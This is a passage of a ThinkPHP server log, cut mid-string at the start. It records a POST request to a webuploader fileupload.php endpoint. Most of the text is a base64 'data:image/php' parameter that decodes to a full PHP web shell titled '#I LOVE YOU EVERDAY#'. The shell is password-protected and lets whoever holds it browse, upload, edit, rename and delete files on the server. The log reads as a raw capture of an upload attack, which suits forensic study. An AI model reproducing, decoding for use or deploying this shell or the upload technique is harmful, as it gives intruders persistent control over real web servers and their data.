s8L3NjcmlwdD4iKTsNCiAgICAgICAgfSBlbHNlIHsNCiAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdTb21lIGVycm9yIG9jY3VycmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgIH0NCiAgICAgICAgZmNsb3NlKCRvcGVuKTsNCiAgICB9DQogICAgICAgIH0NCiAgICB9DQoNCiAgICBpZiAoaXNzZXQoJF9QT1NUWyJ1cGxvYWQiXSkpIHsNCiAgICAgICAgJHRhcmdldF9maWxlID0gUEFUSCAuICIvIiAuICRfRklMRVNbImZpbGVUb1VwbG9hZCJdWyJuYW1lIl07DQogICAgICAgIGlmIChtb3ZlX3VwbG9hZGVkX2ZpbGUoJF9GSUxFU1siZmlsZVRvVXBsb2FkIl1bInRtcF9uYW1lIl0sICR0YXJnZXRfZmlsZSkpIHsNCiAgICAgICAgICAgIGVjaG8gIjxwPiIuaHRtbHNwZWNpYWxjaGFycyhiYXNlbmFtZSgkX0ZJTEVTWyJmaWxlVG9VcGxvYWQiXVsibmFtZSJdKSkgLiAiIGhhcyBiZWVuIHVwbG9hZGVkLjwvcD4iOw0KICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgZWNobyAiPHA_U29ycnksIHRoZXJlIHdhcyBhbiBlcnJvciB1cGxvYWRpbmcgeW91ciBmaWxlLjwvcD4iOw0KICAgICAgICB9DQoNCiAgICB9DQogICAgaWYgKGlzc2V0KCRfR0VUWydkJ10pICYmIGlzc2V0KCRfR0VUWydxJ10pKSB7DQogICAgICAgICRuYW1lID0gUEFUSCAuICIvIiAuICRfR0VUWydkJ107DQogICAgICAgIGlmIChpc19maWxlKCRuYW1lKSkgew0KICAgICAgICAgICAgaWYodW5saW5rKCRuYW1lKSkgew0KICAgICAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdGaWxlIHJlbW92ZWQuJyk7IHdpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0iIC4gZW5jb2RlUGF0aChQQVRIKSAuICInKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgICAgIH0gZWxzZSB7DQogICAgICAgICAgICAgICAgZWNobyAoIjxzY3JpcHQ_YWxlcnQoJ1NvbWUgZXJyb3Igb2NjdXJyZWQuJyk7IHdpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0iIC4gZW5jb2RlUGF0aChQQVRIKSAuICInKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgICAgIH0NCiAgICAgICAgfSBlbHNlaWYgKGlzX2RpcigkbmFtZSkpIHsNCiAgICAgICAgICAgIGlmKHJtZGlyKCRuYW1lKSA9PSB0cnVlKSB7DQogICAgICAgICAgICAgICAgZWNobyAoIjxzY3JpcHQ_YWxlcnQoJ0RpcmVjdG9yeSByZW1vdmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdTb21lIGVycm9yIG9jY3VycmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgICAgICB9DQogICAgICAgIH0NCiAgICB9DQogICAgPz4NCg0KICAgIDxzY3JpcHQgc3JjPSJodHRwczovL2Nkbi5qc2RlbGl2ci5uZXQvbnBtL2Jvb3RzdHJhcEA1LjMuMC1hbHBoYTEvZGlzdC9qcy9ib290c3RyYXAuYnVuZGxlLm1pbi5qcyINCiAgICAgICAgaW50ZWdyaXR5PSJzaGEzODQtdzc2QXFQZkRrTUJEWG8zMGpTMVNnZXo2cHIzeDVNbFExWkFHQytudVpCK0VZZGdSWmdpd3hoVEJUa0Y3Q1h2TiINCiAgICAgICAgY3Jvc3NvcmlnaW49ImFub255bW91cyI_PC9zY3JpcHQ_DQo8L2JvZHk_DQoNCjwvaHRtbD4' => '', 'Widget' => 'webuploader', 0 => 'server', ) [ info ] [ LOG ] INIT File [ error ] [8]未定义变量: url1[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [8]Only variables should be passed by reference[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [2]Use of undefined constant FILE - assumed 'FILE' (this will throw an Error in a future version of PHP)[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): No such file or directory[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): Invalid argument[/data/wwwroot/tianwei/think/runtime/route.php:26] [ error ] [8]未定义数组索引: HTTP_REFERER[/data/wwwroot/tianwei/think/runtime/route.php:31] --------------------------------------------------------------- [ 2024-10-23T09:04:17+08:00 ] 119.42.146.234 POST 59.110.137.245/Public/webuploader/0.1.5/server/fileupload.php [运行时间:0.002777s] [吞吐率:360.12req/s] [内存消耗:196.73kb] [文件加载:31] [ info ] [ LANG ] /data/wwwroot/tianwei/think/thinkphp/lang/zh-cn.php [ info ] [ BIND ] 'index' [ info ] [ ROUTE ] array ( 'type' => 'module', 'module' => array ( 0 => 'index', 1 => 'Public', 2 => 'webuploader', ), ) [ info ] [ HEADER ] array ( 'host' => '59.110.137.245', 'user-agent' => 'Mozilla/5.0 AppleWebKit/601.1.46 (KHTML, like Gecko) Version/9.0', 'accept-encoding' => 'gzip, deflate', 'accept-language' => 'zh-cn, zh; q=0.9', 'upgrade-insecure-requests' => '1', 'content-type' => 'application/x-www-form-urlencoded; charset=utf-8', 'content-length' => '15102', ) [ info ] [ PARAM ] array ( 'data:image/php;base64,PCFET0NUWVBFIGh0bWw_DQo8aHRtbCBsYW5nPSJlbiI_DQoNCjxoZWFkPg0KICAgIDxtZXRhIGNoYXJzZXQ9IlVURi04Ij4NCiAgICA8bWV0YSBodHRwLWVxdWl2PSJYLVVBLUNvbXBhdGlibGUiIGNvbnRlbnQ9IklFPWVkZ2UiPg0KICAgIDxtZXRhIG5hbWU9InZpZXdwb3J0IiBjb250ZW50PSJ3aWR0aD1kZXZpY2Utd2lkdGgsIGluaXRpYWwtc2NhbGU9MS4wIj4NCiAgICA8dGl0bGU_I0kgTE9WRSBZT1UgRVZFUkRBWSM8L3RpdGxlPg0KICAgIDxsaW5rIGhyZWY9Imh0dHBzOi8vY2RuLmpzZGVsaXZyLm5ldC9ucG0vYm9vdHN0cmFwQDUuMy4wLWFscGhhMS9kaXN0L2Nzcy9ib290c3RyYXAubWluLmNzcyIgcmVsPSJzdHlsZXNoZWV0Ig0KICAgICAgICBpbnRlZ3JpdHk9InNoYTM4NC1HTGhsVFE4aVJBQmRaTGw2TzNvVk1XU2t0UU9wNmI3SW4xWmwzL0pyNTliNkVHR29JMWFGa3c3Y21EQTZqNmdEIiBjcm9zc29yaWdpbj0iYW5vbnltb3VzIj4NCiAgICA8bGluayByZWw9InN0eWxlc2hlZXQiIGhyZWY9Imh0dHBzOi8vY2RuanMuY2xvdWRmbGFyZS5jb20vYWpheC9saWJzL2ZvbnQtYXdlc29tZS82LjMuMC9jc3MvYWxsLm1pbi5jc3MiDQogICAgICAgIGludGVncml0eT0ic2hhNTEyLVN6bHJ4V1VscGZ1elErcGNVQ29zeGNnbFFSTkFxL0RaalZzQzBsRTQweHNBRHNmZVFvRXlwRStlbndjT2lHamsvYlN1R0dLSEV5alNvUTF6VmlzYW5RPT0iDQogICAgICAgIGNyb3Nzb3JpZ2luPSJhbm9ueW1vdXMiIHJlZmVycmVycG9saWN5PSJuby1yZWZlcnJlciIgLz4NCjwvaGVhZD4NCg0KPGJvZHk_DQoNCiAgICA8P3BocA0KJHBhc3N3b3JkID0gIjMyYWJhNjBjMmVkOWUzNDhkOTRkNTQ2M2QwZTE2MmZkIjsgLy9WaXYsIGJlYmVnaW0uDQoNCiAgICAvL2Z1bmN0aW9uDQogICAgZnVuY3Rpb24gZm9ybWF0U2l6ZVVuaXRzKCRieXRlcykNCiAgICB7DQogICAgICAgIGlmICgkYnl0ZXMgPj0gMTA3Mzc0MTgyNCkgew0KICAgICAgICAgICAgJGJ5dGVzID0gbnVtYmVyX2Zvcm1hdCgkYnl0ZXMgLyAxMDczNzQxODI0LCAyKSAuICcgR0InOw0KICAgICAgICB9IGVsc2VpZiAoJGJ5dGVzID49IDEwNDg1NzYpIHsNCiAgICAgICAgICAgICRieXRlcyA9IG51bWJlcl9mb3JtYXQoJGJ5dGVzIC8gMTA0ODU3NiwgMikgLiAnIE1CJzsNCiAgICAgICAgfSBlbHNlaWYgKCRieXRlcyA_PSAxMDI0KSB7DQogICAgICAgICAgICAkYnl0ZXMgPSBudW1iZXJfZm9ybWF0KCRieXRlcyAvIDEwMjQsIDIpIC4gJyBLQic7DQogICAgICAgIH0gZWxzZWlmICgkYnl0ZXMgPiAxKSB7DQogICAgICAgICAgICAkYnl0ZXMgPSAkYnl0ZXMgLiAnIGJ5dGVzJzsNCiAgICAgICAgfSBlbHNlaWYgKCRieXRlcyA9PSAxKSB7DQogICAgICAgICAgICAkYnl0ZXMgPSAkYnl0ZXMgLiAnIGJ5dGUnOw0KICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgJGJ5dGVzID0gJzAgYnl0ZXMnOw0KICAgICAgICB9DQogICAgICAgIHJldHVybiAkYnl0ZXM7DQogICAgfQ0KDQogICAgZnVuY3Rpb24gZmlsZUV4dGVuc2lvbigkZmlsZSkNCiAgICB7DQogICAgICAgIHJldHVybiBzdWJzdHIoc3RycmNocigkZmlsZSwgJy4nKSwgMSk7DQogICAgfQ0KDQogICAgZnVuY3Rpb24gZmlsZUljb24oJGZpbGUpDQogICAgew0KICAgICAgICAkaW1ncyA9IGFycmF5KCJhcG5nIiwgImF2aWYiLCAiZ2lmIiwgImpwZyIsICJqcGVnIiwgImpmaWYiLCAicGpwZWciLCAicGpwIiwgInBuZyIsICJzdmciLCAid2VicCIpOw0KICAgICAgICAkYXVkaW8gPSBhcnJheSgid2F2IiwgIm00YSIsICJtNGIiLCAibXAzIiwgIm9nZyIsICJ3ZWJtIiwgIm1wYyIpOw0KICAgICAgICAkZXh0ID0gc3RydG9sb3dlcihmaWxlRXh0ZW5zaW9uKCRmaWxlKSk7DQogICAgICAgIGlmICgkZmlsZSA9PSAiZXJyb3JfbG9nIikgew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtc2hhcnAgZmEtc29saWQgZmEtYnVnIj48L2k_ICc7DQogICAgICAgIH0gZWxzZWlmICgkZmlsZSA9PSAiLmh0YWNjZXNzIikgew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtc29saWQgZmEtaGFtbWVyIj48L2k_ICc7DQogICAgICAgIH0NCiAgICAgICAgaWYgKCRleHQgPT0gImh0bWwiIHx8ICRleHQgPT0gImh0bSIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1odG1sNSI_PC9pPiAnOw0KICAgICAgICB9IGVsc2VpZiAoJGV4dCA9PSAicGhwIiB8fCAkZXh0ID09ICJwaHRtbCIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1waHAiPjwvaT4gJzsNCiAgICAgICAgfSBlbHNlaWYgKGluX2FycmF5KCRleHQsICRpbWdzKSkgew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtcmVndWxhciBmYS1pbWFnZXMiPjwvaT4gJzsNCiAgICAgICAgfSBlbHNlaWYgKCRleHQgPT0gImNzcyIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1jc3MzIj48L2k_ICc7DQogICAgICAgIH0gZWxzZWlmICgkZXh0ID09ICJ0eHQiKSB7DQogICAgICAgICAgICByZXR1cm4gJzxpIGNsYXNzPSJmYS1yZWd1bGFyIGZhLWZpbGUtbGluZXMiPjwvaT4gJzsNCiAgICAgICAgfSBlbHNlaWYgKGluX2FycmF5KCRleHQsICRhdWRpbykpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWR1b3RvbmUgZmEtZmlsZS1tdXNpYyI_PC9pPiAnOw0KICAgICAgICB9IGVsc2VpZiAoJGV4dCA9PSAicHkiKSB7DQogICAgICAgICAgICByZXR1cm4gJzxpIGNsYXNzPSJmYS1icmFuZHMgZmEtcHl0aG9uIj48L2k_ICc7DQogICAgICAgIH0gZWxzZWlmICgkZXh0ID09ICJqcyIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1qcyI_PC9pPiAnOw0KICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtc29saWQgZmEtZmlsZSI_PC9pPiAnOw0KICAgICAgICB9DQogICAgfQ0KDQogICAgZnVuY3Rpb24gZW5jb2RlUGF0aCgkcGF0aCkNCiAgICB7DQogICAgICAgICRhID0gYXJyYXkoIi8iLCAiXFwiLCAiLiIsICI6Iik7DQogICAgICAgICRiID0gYXJyYXkoIuCmlSIsICLgppYiLCAi4KaXIiwgIuCmmCIpOw0KICAgICAgICByZXR1cm4gc3RyX3JlcGxhY2UoJGEsICRiLCAkcGF0aCk7DQogICAgfQ0KICAgIGZ1bmN0aW9uIGRlY29kZVBhdGgoJHBhdGgpDQogICAgew0KICAgICAgICAkYSA9IGFycmF5KCIvIiwgIlxcIiwgIi4iLCAiOiIpOw0KICAgICAgICAkYiA9IGFycmF5KCLgppUiLCAi4KaWIiwgIuCmlyIsICLgppgiKTsNCiAgICAgICAgcmV0dXJuIHN0cl9yZXBsYWNlKCRiLCAkYSwgJHBhdGgpOw0KICAgIH0NCg0KDQoNCiAgICAkcm9vdF9wYXRoID0gX19ESVJfXzsNCiAgICBpZiAoaXNzZXQoJF9HRVRbJ3AnXSkpIHsNCiAgICAgICAgaWYgKGVtcHR5KCRfR0VUWydwJ10pKSB7DQogICAgICAgICAgICAkcCA9ICRyb290X3BhdGg7DQogICAgICAgIH0gZWxzZWlmICghaXNfZGlyKGRlY29kZVBhdGgoJF9HRVRbJ3AnXSkpKSB7DQogICAgICAgICAgICBlY2hvICgiPHNjcmlwdD5cbmFsZXJ0KCdEaXJlY3RvcnkgaXMgQ29ycnVwdGVkIGFuZCBVbnJlYWRhYmxlLicpO1xud2luZG93LmxvY2F0aW9uLnJlcGxhY2UoJz8nKTtcbjwvc2NyaXB0PiIpOw0KICAgICAgICB9IGVsc2VpZiAoaXNfZGlyKGRlY29kZVBhdGgoJF9HRVRbJ3AnXSkpKSB7DQogICAgICAgICAgICAkcCA9IGRlY29kZVBhdGgoJF9HRVRbJ3AnXSk7DQogICAgICAgIH0NCiAgICB9IGVsc2VpZiAoaXNzZXQoJF9HRVRbJ3EnXSkpIHsNCiAgICAgICAgaWYgKCFpc19kaXIoZGVjb2RlUGF0aCgkX0dFVFsncSddKSkpIHsNCiAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PndpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0nKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgfSBlbHNlaWYgKGlzX2RpcihkZWNvZGVQYXRoKCRfR0VUWydxJ10pKSkgew0KICAgICAgICAgICAgJHAgPSBkZWNvZGVQYXRoKCRfR0VUWydxJ10pOw0KICAgICAgICB9DQogICAgfSBlbHNlIHsNCiAgICAgICAgJHAgPSAkcm9vdF9wYXRoOw0KICAgIH0NCiAgICBkZWZpbmUoIlBBVEgiLCAkcCk7DQoNCiAgICBlY2hvICgnDQo8bmF2IGNsYXNzPSJuYXZiYXIgbmF2YmFyLWxpZ2h0IiBzdHlsZT0iYmFja2dyb3VuZC1jb2xvcjogI2UzZjJmZDsiPg0KICA8ZGl2IGNsYXNzPSJuYXZiYXItYnJhbmQiPg0KICA8YSBocmVmPSI/Ij48aW1nIHNyYz0iaHR0cHM6Ly9naXRodWIuY29tL2ZsdWlkaWNvbi5wbmciIHdpZHRoPSIzMCIgaGVpZ2h0PSIzMCIgYWx0PSIiPjwvYT4NCicpOw0KDQogICAgJHBhdGggPSBzdHJfcmVwbGFjZSgnXFwnLCAnLycsIFBBVEgpOw0KICAgICRwYXRocyA9IGV4cGxvZGUoJy8nLCAkcGF0aCk7DQogICAgZm9yZWFjaCAoJHBhdGhzIGFzICRpZCA9PiAkZGlyX3BhcnQpIHsNCiAgICAgICAgaWYgKCRkaXJfcGFydCA9PSAnJyAmJiAkaWQgPT0gMCkgew0KICAgICAgICAgICAgJGEgPSB0cnVlOw0KICAgICAgICAgICAgZWNobyAiPGEgaHJlZj1cIj9wPS9cIj4vPC9hPiI7DQogICAgICAgICAgICBjb250aW51ZTsNCiAgICAgICAgfQ0KICAgICAgICBpZiAoJGRpcl9wYXJ0ID09ICcnKQ0KICAgICAgICAgICAgY29udGludWU7DQogICAgICAgIGVjaG8gIjxhIGhyZWY9Jz9wPSI7DQogICAgICAgIGZvciAoJGkgPSAwOyAkaSA8PSAkaWQ7ICRpKyspIHsNCiAgICAgICAgICAgIGVjaG8gc3RyX3JlcGxhY2UoIjoiLCAi4KaYIiwgJHBhdGhzWyRpXSk7DQogICAgICAgICAgICBpZiAoJGkgIT0gJGlkKQ0KICAgICAgICAgICAgICAgIGVjaG8gIuCmlSI7DQogICAgICAgIH0NCiAgICAgICAgZWNobyAiJz4iIC4gJGRpcl9wYXJ0IC4gIjwvYT4vIjsNCiAgICB9DQogICAgZWNobyAoJw0KPC9kaXY_DQo8ZGl2IGNsYXNzPSJmb3JtLWlubGluZSI_DQo8YSBocmVmPSI/dXBsb2FkJnE9JyAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICciPjxidXR0b24gY2xhc3M9ImJ0biBidG4tZGFyayIgdHlwZT0iYnV0dG9uIj5VcGxvYWQgRmlsZTwvYnV0dG9uPjwvYT4NCjxhIGhyZWY9Ij8iPjxidXR0b24gdHlwZT0iYnV0dG9uIiBjbGFzcz0iYnRuIGJ0bi1kYXJrIj5IT01FPC9idXR0b24_PC9hPiANCjwvZGl2Pg0KPC9uYXY_Jyk7DQoNCg0KICAgIGlmIChpc3NldCgkX0dFVFsncCddKSkgew0KDQogICAgICAgIC8vZmV0Y2ggZmlsZXMNCiAgICAgICAgaWYgKGlzX3JlYWRhYmxlKFBBVEgpKSB7DQogICAgICAgICAgICAkZmV0Y2hfb2JqID0gc2NhbmRpcihQQVRIKTsNCiAgICAgICAgICAgICRmb2xkZXJzID0gYXJyYXkoKTsNCiAgICAgICAgICAgICRmaWxlcyA9IGFycmF5KCk7DQogICAgICAgICAgICBmb3JlYWNoICgkZmV0Y2hfb2JqIGFzICRvYmopIHsNCiAgICAgICAgICAgICAgICBpZiAoJG9iaiA9PSAnLicgfHwgJG9iaiA9PSAnLi4nKSB7DQogICAgICAgICAgICAgICAgICAgIGNvbnRpbnVlOw0KICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICAkbmV3X29iaiA9IFBBVEggLiAnLycgLiAkb2JqOw0KICAgICAgICAgICAgICAgIGlmIChpc19kaXIoJG5ld19vYmopKSB7DQogICAgICAgICAgICAgICAgICAgIGFycmF5X3B1c2goJGZvbGRlcnMsICRvYmopOw0KICAgICAgICAgICAgICAgIH0gZWxzZWlmIChpc19maWxlKCRuZXdfb2JqKSkgew0KICAgICAgICAgICAgICAgICAgICBhcnJheV9wdXNoKCRmaWxlcywgJG9iaik7DQogICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgfQ0KICAgICAgICB9DQogICAgICAgIGVjaG8gJw0KPHRhYmxlIGNsYXNzPSJ0YWJsZSB0YWJsZS1ob3ZlciI_DQogIDx0aGVhZD4NCiAgICA8dHI_DQogICAgICA8dGggc2NvcGU9ImNvbCI_TmFtZTwvdGg_DQogICAgICA8dGggc2NvcGU9ImNvbCI_U2l6ZTwvdGg_DQogICAgICA8dGggc2NvcGU9ImNvbCI_TW9kaWZpZWQ8L3RoPg0KICAgICAgPHRoIHNjb3BlPSJjb2wiPlBlcm1zPC90aD4NCiAgICAgIDx0aCBzY29wZT0iY29sIj5BY3Rpb25zPC90aD4NCiAgICA8L3RyPg0KICA8L3RoZWFkPg0KICA8dGJvZHk_DQonOw0KICAgICAgICBmb3JlYWNoICgkZm9sZGVycyBhcyAkZm9sZGVyKSB7DQogICAgICAgICAgICBlY2hvICIgICAgPHRyPg0KICAgICAgPHRkPjxpIGNsYXNzPSdmYS1zb2xpZCBmYS1mb2xkZXInPjwvaT4gPGEgaHJlZj0nP3A9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEggLiAiLyIgLiAkZm9sZGVyKSkgLiAiJz4iIC4gJGZvbGRlciAuICI8L2E_PC90ZD4NCiAgICAgIDx0ZD48Yj4tLS08L2I_PC90ZD4NCiAgICAgIDx0ZD4iLiBkYXRlKCJGIGQgWSBIOmk6cy4iLCBmaWxlbXRpbWUoUEFUSCAuICIvIiAuICRmb2xkZXIpKSAuICI8L3RkPg0KICAgICAgPHRkPjAiIC4gc3Vic3RyKGRlY29jdChmaWxlcGVybXMoUEFUSCAuICIvIiAuICRmb2xkZXIpKSwgLTMpIC4gIjwvYT48L3RkPg0KICAgICAgPHRkPg0KICAgICAgPGEgdGl0bGU9J1JlbmFtZScgaHJlZj0nP3E9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICImcj0iIC4gJGZvbGRlciAuICInPjxpIGNsYXNzPSdmYS1zaGFycCBmYS1yZWd1bGFyIGZhLXBlbi10by1zcXVhcmUnPjwvaT48L2E_DQogICAgICA8YSB0aXRsZT0nRGVsZXRlJyBocmVmPSc/cT0iIC4gdXJsZW5jb2RlKGVuY29kZVBhdGgoUEFUSCkpIC4gIiZkPSIgLiAkZm9sZGVyIC4gIic_PGkgY2xhc3M9J2ZhIGZhLXRyYXNoJyBhcmlhLWhpZGRlbj0ndHJ1ZSc_PC9pPjwvYT4NCiAgICAgIDx0ZD4NCiAgICA8L3RyPg0KIjsNCiAgICAgICAgfQ0KICAgICAgICBmb3JlYWNoICgkZmlsZXMgYXMgJGZpbGUpIHsNCiAgICAgICAgICAgIGVjaG8gIiAgICA8dHI_DQogICAgICAgICAgPHRkPiIgLiBmaWxlSWNvbigkZmlsZSkgLiAkZmlsZSAuICI8L3RkPg0KICAgICAgICAgIDx0ZD4iIC4gZm9ybWF0U2l6ZVVuaXRzKGZpbGVzaXplKFBBVEggLiAiLyIgLiAkZmlsZSkpIC4gIjwvdGQ_DQogICAgICAgICAgPHRkPiIgLiBkYXRlKCJGIGQgWSBIOmk6cy4iLCBmaWxlbXRpbWUoUEFUSCAuICIvIiAuICRmaWxlKSkgLiAiPC90ZD4NCiAgICAgICAgICA8dGQ_MCIuIHN1YnN0cihkZWNvY3QoZmlsZXBlcm1zKFBBVEggLiAiLyIgLiRmaWxlKSksIC0zKSAuICI8L2E_PC90ZD4NCiAgICAgICAgICA8dGQ_DQogICAgICAgICAgPGEgdGl0bGU9J0VkaXQgRmlsZScgaHJlZj0nP3E9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICImZT0iIC4gJGZpbGUgLiAiJz48aSBjbGFzcz0nZmEtc29saWQgZmEtZmlsZS1wZW4nPjwvaT48L2E_DQogICAgICAgICAgPGEgdGl0bGU9J1JlbmFtZScgaHJlZj0nP3E9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICImcj0iIC4gJGZpbGUgLiAiJz48aSBjbGFzcz0nZmEtc2hhcnAgZmEtcmVndWxhciBmYS1wZW4tdG8tc3F1YXJlJz48L2k_PC9hPg0KICAgICAgICAgIDxhIHRpdGxlPSdEZWxldGUnIGhyZWY9Jz9xPSIgLiB1cmxlbmNvZGUoZW5jb2RlUGF0aChQQVRIKSkgLiAiJmQ9IiAuICRmaWxlIC4gIic_PGkgY2xhc3M9J2ZhIGZhLXRyYXNoJyBhcmlhLWhpZGRlbj0ndHJ1ZSc_PC9pPjwvYT4NCiAgICAgICAgICA8dGQ_DQogICAgPC90cj4NCiI7DQogICAgICAgIH0NCiAgICAgICAgZWNobyAiICA8L3Rib2R5Pg0KPC90YWJsZT4iOw0KICAgIH0gZWxzZSB7DQogICAgICAgIGlmIChlbXB0eSgkX0dFVCkpIHsNCiAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PndpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0nKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgfQ0KICAgIH0NCiAgICBpZiAoaXNzZXQoJF9HRVRbJ3VwbG9hZCddKSkgew0KICAgICAgICBlY2hvICcNCiAgICA8Zm9ybSBtZXRob2Q9InBvc3QiIGVuY3R5cGU9Im11bHRpcGFydC9mb3JtLWRhdGEiPg0KICAgICAgICBTZWxlY3QgZmlsZSB0byB1cGxvYWQ6DQogICAgICAgIDxpbnB1dCB0eXBlPSJmaWxlIiBuYW1lPSJmaWxlVG9VcGxvYWQiIGlkPSJmaWxlVG9VcGxvYWQiPg0KICAgICAgICA8aW5wdXQgdHlwZT0ic3VibWl0IiBjbGFzcz0iYnRuIGJ0bi1kYXJrIiB2YWx1ZT0iVXBsb2FkIiBuYW1lPSJ1cGxvYWQiPg0KICAgIDwvZm9ybT4nOw0KICAgIH0NCiAgICBpZiAoaXNzZXQoJF9HRVRbJ3InXSkpIHsNCiAgICAgICAgaWYgKCFlbXB0eSgkX0dFVFsnciddKSAmJiBpc3NldCgkX0dFVFsncSddKSkgew0KICAgICAgICAgICAgZWNobyAnDQogICAgPGZvcm0gbWV0aG9kPSJwb3N0Ij4NCiAgICAgICAgUmVuYW1lOg0KICAgICAgICA8aW5wdXQgdHlwZT0idGV4dCIgbmFtZT0ibmFtZSIgdmFsdWU9IicgLiAkX0dFVFsnciddIC4gJyI_DQogICAgICAgIDxpbnB1dCB0eXBlPSJzdWJtaXQiIGNsYXNzPSJidG4gYnRuLWRhcmsiIHZhbHVlPSJSZW5hbWUiIG5hbWU9InJlbmFtZSI_DQogICAgPC9mb3JtPic7DQogICAgICAgICAgICBpZiAoaXNzZXQoJF9QT1NUWydyZW5hbWUnXSkpIHsNCiAgICAgICAgICAgICAgICAkbmFtZSA9IFBBVEggLiAiLyIgLiAkX0dFVFsnciddOw0KICAgICAgICAgICAgICAgIGlmKHJlbmFtZSgkbmFtZSwgUEFUSCAuICIvIiAuICRfUE9TVFsnbmFtZSddKSkgew0KICAgICAgICAgICAgICAgICAgICBlY2hvICgiPHNjcmlwdD5hbGVydCgnUmVuYW1lZC4nKTsgd2luZG93LmxvY2F0aW9uLnJlcGxhY2UoJz9wPSIgLiBlbmNvZGVQYXRoKFBBVEgpIC4gIicpOzwvc2NyaXB0PiIpOw0KICAgICAgICAgICAgICAgIH0gZWxzZSB7DQogICAgICAgICAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdTb21lIGVycm9yIG9jY3VycmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgfQ0KICAgICAgICB9DQogICAgfQ0KDQogICAgaWYgKGlzc2V0KCRfR0VUWydlJ10pKSB7DQogICAgICAgIGlmICghZW1wdHkoJF9HRVRbJ2UnXSkgJiYgaXNzZXQoJF9HRVRbJ3EnXSkpIHsNCiAgICAgICAgICAgIGVjaG8gJw0KICAgIDxmb3JtIG1ldGhvZD0icG9zdCI_DQogICAgICAgIDx0ZXh0YXJlYSBzdHlsZT0iaGVpZ2h0OiA1MDBweDsNCiAgICAgICAgd2lkdGg6IDkwJTsiIG5hbWU9ImRhdGEiPicgLiBodG1sc3BlY2lhbGNoYXJzKGZpbGVfZ2V0X2NvbnRlbnRzKFBBVEguIi8iLiRfR0VUWydlJ10pKSAuICc8L3RleHRhcmVhPg0KICAgICAgICA8YnI_DQogICAgICAgIDxpbnB1dCB0eXBlPSJzdWJtaXQiIGNsYXNzPSJidG4gYnRuLWRhcmsiIHZhbHVlPSJTYXZlIiBuYW1lPSJlZGl0Ij4NCiAgICA8L2Zvcm0_JzsNCg0KICAgIGlmKGlzc2V0KCRfUE9TVFsnZWRpdCddKSkgew0KICAgICAgICAkZmlsZW5hbWUgPSBQQVRILiIvIi4kX0dFVFsnZSddOw0KICAgICAgICAkZGF0YSA9ICRfUE9TVFsnZGF0YSddOw0KICAgICAgICAkb3BlbiA9IGZvcGVuKCRmaWxlbmFtZSwidyIpOw0KICAgICAgICBpZihmd3JpdGUoJG9wZW4sJGRhdGEpKSB7DQogICAgICAgICAgICBlY2hvICgiPHNjcmlwdD5hbGVydCgnU2F2ZWQuJyk7IHdpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0iIC4gZW5jb2RlUGF0aChQQVRIKSAuICInKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgfSBlbHNlIHsNCiAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdTb21lIGVycm9yIG9jY3VycmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcH